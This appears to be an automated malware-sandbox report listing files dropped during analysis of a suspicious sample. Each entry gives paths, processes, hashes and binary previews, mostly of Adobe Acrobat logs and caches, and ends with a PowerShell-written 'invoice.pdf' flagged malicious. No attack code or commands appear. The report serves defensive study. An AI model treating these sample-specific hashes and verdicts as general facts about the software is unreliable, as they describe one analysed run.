Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0220cdf629d4b55669e8ad4a99234772","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736583301000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c04aaea0fe1c4a3c4bb0837a583e4fa7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736583301000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"377f719042f464f8a5d18afe3e024e11","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736583301000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9344aaf4abc2ca1e2e4705a192351988","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736583301000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e94aae31319d02ec90fa9d04e6d1aeae","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736583301000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3695dc82cf9124beabf544f356ef3795","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.321234370229066
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y2jkn+EXSqg:TGufl2GL7msUKB0M0+Tb608Y8k+rEkF
MD5:	1DCAA657E815573F1F238A9DBBEE588F
SHA1:	96D27C0DDBE7DDB9A4EF19CC8ABA1049BEB84D44
SHA-256:	590963CA9E3880F81C19499284EC0145A807E136C9989302993B9364C4145288
SHA-512:	C3E6D769F86FF7318B1555B144C111689667B1FF587042FEBBE5B974CE4AD722CE8B34169D7DFCF9B32D1C83267A089B422F35EC6CD005FF5E3FF1DBFEE3AE73
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7837976403864153
Encrypted:	false
SSDEEP:	24:7+tjl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y2jkn/EXSqXlyGKaivRqLhx/XYf:7MdKB0M0+Tb608Y8k/rGKFqFl2GL7ms+
MD5:	51A12EC314670E12F579204A50F6DEF9
SHA1:	15BECAA12B78D49DBD728F6DC5FF20E2D031135A
SHA-256:	3FA14446D39698CC502F3A09DA7FDB3A45F09174BC589F3D9528F55D165B2D06
SHA-512:	D1F03C3DAC2FBD751B23DF24F913231A9FDEEED6B1CCBCD56CA89FC213ED3435EFDB030B9B9F189949C2BAA0A2A84DB08DEC3831058F87EC1610D6D8F5765CDB
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgR+MaklolGDKhjdetxPiP+uw9t/NYyu:6a6TZ44ADER+2lolGDKhhXw3NK
MD5:	93B472DBFF544DE4DE4AA80CF95E36F6
SHA1:	DB9FB8C4BD426394454E62B4D2DDA3BD8A5899C4
SHA-256:	C36E44BE41C858FD31886CBF9309435B515A8EAAA69CD7A1BE2F2EDEBD2E7C01
SHA-512:	F78E2B2A061E2D9756464A3B420EAD505F459DA60D0D3FB111C8A7D31ADE4D885ED81E0B10C3EF5ACFBC4EB9102C808EBBAA596E134D9A0EE2D80C986C2A0C9E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI77a47.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5217358039039093
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+U:Qw946cPbiOxDlbYnuRKdhU
MD5:	5CC28374796D5590E23BDD5EE09E8A4E
SHA1:	24ADA72C08622C828596E9403D06B0A6142056FB
SHA-256:	BE60B179C86F18F28E71FF7888EF9502E40294067D1D95870D9B530156DAC930
SHA-512:	2B1300ECE32E36649E1754EAB4616668AAFEFDA871B33065A5B412AAA383A195B6ABCB6877B5B8B5C8884D10068CE452D67779E69C718091BB73B4D819BC6945
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.1.4.:.5.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4uvf1glu.eu5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_frapi0wy.nua.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91o92if5_10s26g_5y8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ycre8l_10s26d_5y8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-14-53-727.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.362730722598109
Encrypted:	false
SSDEEP:	384:gEixagzH009LAwJ8hyN84/7eC58T72igLFTvNZNO/gp3Q3qA3uoATX3yhyna5/5L:A2O0vb
MD5:	0B084D31947A33D3070983D9AE78EF19
SHA1:	E74CA08048EC801678301A2E1F1BE53FCE70BC58
SHA-256:	BE639DABE3C67BB16BA30A84D993310DE703686A1C5A2A068F8924B3B26DCB69
SHA-512:	F3FA4FFCF200038B303C1346C0A9BBBAFA0462F9034244FDDA05B381BE71F922E145CFBF1292CF8542461B17FC34BBB6979BE83A388619E15DFB031440E0B834
Malicious:	false
Preview:	SessionID=bd84ca0e-0bf0-4c9c-bdc0-1cc49fe46175.1736583293744 Timestamp=2025-01-11T03:14:53:744-0500 ThreadID=8732 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=bd84ca0e-0bf0-4c9c-bdc0-1cc49fe46175.1736583293744 Timestamp=2025-01-11T03:14:53:745-0500 ThreadID=8732 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=bd84ca0e-0bf0-4c9c-bdc0-1cc49fe46175.1736583293744 Timestamp=2025-01-11T03:14:53:745-0500 ThreadID=8732 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=bd84ca0e-0bf0-4c9c-bdc0-1cc49fe46175.1736583293744 Timestamp=2025-01-11T03:14:53:745-0500 ThreadID=8732 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=bd84ca0e-0bf0-4c9c-bdc0-1cc49fe46175.1736583293744 Timestamp=2025-01-11T03:14:53:745-0500 ThreadID=8732 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.40003161923392
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmZ:EGvIcNYdz5c
MD5:	9D63FF77E248299DD5A7A22D8F234C09
SHA1:	C58994B078E20BFBE1312C418B7280741747E8A9
SHA-256:	5A8BFE0D151D2FB2204F9204F93FD6C9D1772BE828951FE965E2762307C94C43
SHA-512:	0FB424E89A14F850397B37BF8C7FD8003B473B742EA2D00A8C0486D0F5A7885EFE5934F105D737F88DDE4EC2A557F8DCF243A2F5B10FDC2CC111D5D6A59B5F42
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6cebbf3f-8eb8-4a62-b72b-2aa042f9632a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\93234eb6-7d18-453c-9ed9-23d53a3b6fca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9a6361bc-fd35-458f-a72f-0ab1b3fc319e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6ZSWBlkipdjum21D1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3PjegfZS8lkipdj321DMNB1DofjgJJg
MD5:	F0D0ECAE1E5D07A2F3D08371DFED8CDF
SHA1:	05A0C4389DE443C2AB77F78D0D2B552260B84003
SHA-256:	CFA56E7EB28AF60F9CFFD8C53522932411CEDF776A809F8362614DAF61A568F9
SHA-512:	14E6138FE9FE3F22117BCCF8216DE03BC8539A413B81A691496A3C621CB6AD80746E86D6FCD75B2BE0FB70A14807CBBFBC70A2A6B5B2E2F4218C3A52A1F73D9F
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\db1a6f1d-619a-4f38-96f9-fdf8983e8a6c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
